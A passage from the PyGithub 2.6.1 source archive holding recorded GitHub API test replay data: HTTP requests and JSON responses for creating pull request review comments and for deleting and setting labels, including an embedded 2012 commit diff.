management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 5, "path": "src/github/Issue.py", "in_reply_to": 42} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] {"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateReviewCommentSubjectType.txt0000644000175100001660000005234514756101563030206 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 5, "path": "src/github/Issue.py", "subject_type": "file"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] {"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testDeleteAndSetLabels.txt0000644000175100001660000001040614756101563025530 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"eb6420","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip"} https GET api.github.com None /repos/PyGithub/PyGithub/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '113'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b659c8dcc1212c71f826547c3cc7ae99"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https PUT api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] 